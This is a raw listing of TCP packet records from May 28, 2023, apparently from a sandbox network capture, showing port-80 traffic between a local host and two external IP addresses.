May 28, 2023 10:42:50.265517950 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265552998 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265578985 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.265579939 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265605927 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265631914 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.265634060 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.265686035 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.266028881 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.266052008 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.266077042 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.266102076 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.266113043 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.266153097 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.268137932 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.268179893 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.268218040 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.268254042 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.268254995 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.268322945 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.268569946 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.268613100 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.268647909 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.268676043 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.268698931 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.268735886 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.268754959 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.269098997 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.269136906 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.269164085 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.269172907 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.269207954 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.269232988 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.269550085 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.269601107 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.269634008 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.269637108 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.269674063 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.269702911 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.269711971 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.269773006 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.270153046 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270524979 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270581961 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270603895 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.270623922 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270665884 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270684958 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.270701885 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270736933 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270756960 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.270767927 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270802021 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270822048 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.270834923 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.270898104 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.537028074 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537117958 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537192106 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537223101 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537252903 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537285089 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537288904 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537343979 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537348032 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537424088 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537425041 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537482977 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537487984 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537542105 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537542105 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537604094 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537620068 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537678957 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537683010 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537736893 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537738085 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537796974 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537798882 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537854910 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537854910 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537913084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.537914991 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537972927 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.537977934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538032055 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538033962 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538089037 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538089037 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538146973 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538155079 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538203955 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538203955 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538263083 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538264036 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538321018 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538321972 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538379908 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538379908 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538439035 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538439989 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538496017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538497925 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538553953 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538554907 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538613081 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538616896 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538671017 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538680077 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538726091 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538728952 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538785934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538786888 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538844109 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538844109 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538904905 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538906097 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.538964033 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.538964033 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539021969 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539052963 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539078951 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539079905 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539136887 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539136887 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539195061 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539196014 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539252996 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539257050 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539309978 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539309978 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539366961 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539369106 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539423943 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539426088 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539483070 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539489985 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539540052 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539550066 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539596081 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539597988 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539654970 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539659977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539710999 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539711952 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539767981 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539768934 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539824963 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539827108 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539884090 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.539884090 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539941072 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.539944887 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540000916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540002108 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540057898 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540060043 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540117025 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540121078 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540174961 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540174961 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540235996 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540235996 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540308952 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540322065 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540381908 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540391922 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540440083 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540443897 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540497065 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540498018 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540553093 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540555000 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540612936 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540620089 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540668011 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540668964 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540726900 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540728092 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540786028 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540786982 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540842056 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540843010 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540901899 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.540904999 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540962934 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.540962934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541021109 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541024923 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541079044 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541079044 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541136980 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541137934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541193008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541193008 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541249990 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541249990 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541306973 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541311026 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541362047 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541364908 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541421890 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541425943 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541477919 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541479111 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541537046 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541537046 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541593075 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541594982 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541654110 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541656971 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541711092 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541726112 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541769981 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541769981 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541827917 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541830063 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541887045 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.541888952 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541943073 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.541944981 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542001963 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542002916 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542059898 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542061090 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542115927 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542117119 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542172909 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542174101 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542229891 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542232037 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542289972 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542292118 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542346954 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542346954 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542402983 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542404890 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542459965 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542462111 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542520046 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542521000 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542576075 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542577028 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542630911 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542634010 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542691946 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542694092 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542747021 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542748928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542805910 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542809010 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542862892 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542869091 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542937994 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.542939901 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542993069 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.542994022 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543051958 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543051958 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543112040 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543112993 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543169975 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543171883 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543225050 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543227911 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543282032 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543284893 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543342113 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543343067 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543401003 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543404102 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543456078 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543457031 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543513060 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543514967 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543571949 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543572903 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543628931 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543631077 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543688059 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543692112 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543744087 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543744087 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543798923 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543802977 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543859959 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543869019 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543919086 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.543921947 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543979883 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.543982029 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.544037104 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.544038057 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.544092894 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.544094086 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.544147968 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.544152021 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.544205904 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.544209957 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.544266939 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.544286966 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.544347048 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.544353008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.544404984 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.544408083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.544461966 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.544464111 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.544519901 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.562009096 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562067032 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562093019 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562119007 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562144041 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562170982 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562196970 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562201023 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.562223911 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562248945 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.562252045 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562278986 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562293053 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.562306881 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562331915 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.562334061 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562361002 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562381029 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.562388897 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562414885 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562434912 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.562772036 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562798977 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562824011 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562833071 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.562854052 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.562894106 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.563250065 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.563278913 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.563304901 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.563332081 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.563335896 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.563359976 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.563365936 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.563416958 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.563720942 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.563745975 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.563771963 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.563796997 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.563811064 CEST	49719	80	192.168.2.3	183.100.39.157
